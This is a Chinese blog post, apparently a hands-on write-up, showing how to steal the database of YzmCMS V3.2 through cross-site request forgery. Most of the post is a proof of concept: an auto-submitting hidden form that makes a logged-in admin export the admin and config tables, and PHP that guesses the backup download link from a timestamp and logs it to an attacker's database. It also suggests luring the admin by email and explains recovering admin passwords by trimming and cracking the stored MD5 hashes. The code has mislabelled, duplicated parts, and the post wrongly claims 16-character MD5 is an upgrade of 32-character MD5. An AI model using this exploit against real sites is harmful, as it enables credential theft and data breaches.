记一次CSRF脱库的挖掘

日期: 栏目:跨境 浏览:598 评论:0

Getshell处加了正则判断.这就比较尴尬了。。

(不过也反映出了开发者对安全方面的重视以及出现漏洞后的响应速度,给个赞)

正文:

首先让我们看看这个cms怎么构成脱库的:

在数据管理处有备份数据功能

只能备份,优化,修复,不能操作,不能删除,权限管控的很好

来查看源代码


依然没有token或者其他验证,构造一下表单

依然没有token或者其他验证,构造一下表单

<script>
function csrfP0C(){
document.getElementById(“csrfP0C”).click();
//模仿点按钮,实现打开自动点击
}
</script>
<body onload=”csrfP0C()”>
<form action=”http://localhost/YzmCMS-V3.2/index.php/admin/database/export_list.html” method=”post”>
<!–地址–>       <!–提交方式–>
<input type=”hidden” name=”tables[]” value=”a_admin”>
    <input type=”hidden” name=”tables[]” value=”a_config”>
<!–隐藏提交–>  <!–值–>  <!–这里默认是前缀是yzm_xxx–>
<input id=”csrfP0C” name=”dosubmit” value=”LSAFE” type=”submit” >
</form>
</body>


当管理员访问此页面后会发起一次开始备份数据的请求

那么问题来了,怎么获取备份的数据库来下载呢?

点击下载后会生成一个下载链接,通过这个链接可以下载备份的数据库.,

仔细分析链接,可以发现数字部分是一个时间戳,这个时间戳是怎么来的呢?

分析代码

databack会根据$file生成的时间信息和part创建

再看生成备份文件后如何下载

点击备份按钮后,会生成一个时间戳,也就是前面看到的下载路径的那一串数字,根据时间戳和信息拼接.sql,.gz如果没有找到的话返回文件不存在。

 

前面说过,管理员打开后就会触发,是因为Js自动模拟了一次点击按钮的事件,也就是说,只要

 

管理员打开后(程序运行时)用php记录下来打开时的时间戳,并拼接路径,可以获取到下载备份的链接.

 

构造出这样一个POC

<script>
 function csrfP0C(){
  document.getElementById(“csrfP0C”).click();
//模仿点按钮,实现打开自动点击
 }
</script>
 <body onload=”csrfP0C()”>
<form action=”http://localhost/YzmCMS-V3.2/index.php/admin/database/export_list.html” method=”post”>
<!–地址–>       <!–提交方式–>
<input type=”hidden” name=”tables[]” value=”a_admin”>
    <input type=”hidden” name=”tables[]” value=”a_config”>
<!–隐藏提交–>  <!–值–>  <!–这里默认是前缀是yzm_xxx–>  
<input id=”csrfP0C” name=”dosubmit” value=”LSAFE” type=”submit” >
</form>
</body>
<?php
$time = time();//获取打开页面的时间
$csrfP0C = “http://localhost/index.php/admin/database/databack_down/time/{$time}/part/1.html”;
//根据时间拼接路径
?>
这边获取到了,可以用php连接mysql直接存到数据库里
 
<script>
 function csrfP0C(){
  document.getElementById(“csrfP0C”).click();
//模仿点按钮,实现打开自动点击
 }
</script>
 <body onload=”csrfP0C()”>
<form action=”http://localhost/YzmCMS-V3.2/index.php/admin/database/export_list.html” method=”post”>
<!–地址–>       <!–提交方式–>
<input type=”hidden” name=”tables[]” value=”a_admin”>
    <input type=”hidden” name=”tables[]” value=”a_config”>
<!–以admin表和数据库配置表为例–> <!–前缀默认为yzm_xxx–>
<!–隐藏提交–>  <!–值–>  <!–这里默认是前缀是yzm_xxx–>  
<input id=”csrfP0C” name=”dosubmit” value=”LSAFE” type=”submit” >
</form>
</body>
<?php
$time = time();//获取打开页面的时间
$csrfP0C = “http://localhost/index.php/admin/database/databack_down/time/{$time}/part/1.html”;//根据时间拼接路径
$host = ‘localhost’;//数据库地址
$user = ‘csrf’;//库名
$pass = ‘root’;//账号
$data = ‘root’;//密码
$time = time();
$csrfP0C = “http://localhost/index.php/admin/database/databack_down/time/{$time}/part/1.html”;
$link = mysqli_connect($host,$user,$pass,$data);
$sqli = “INSERT INTO csrf (url) VALUES ($csrfP0C)”;
mysqli_query($link,$sqli);
?>
?>


也可以弄个邮箱发信,管理员点开后直接

滴,你的鱼儿以上钩~

至于怎么让管理员点开?

不多说~

有备份后可以查看备份数据获得账号密码,显然开发者也想到了这一点,进行了我见过最脑残的二次加密

这只对不知道此加密方式的攻击者管用

直接去掉密文前5位和后5位就可以然后在去解密就可以获得到管理密码,至于为什么会这样,只能告诉你md5有16位的并且16位是32位的升级版。




标签:

评论留言

我要留言

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。发布前请先查看评论规则:点我查看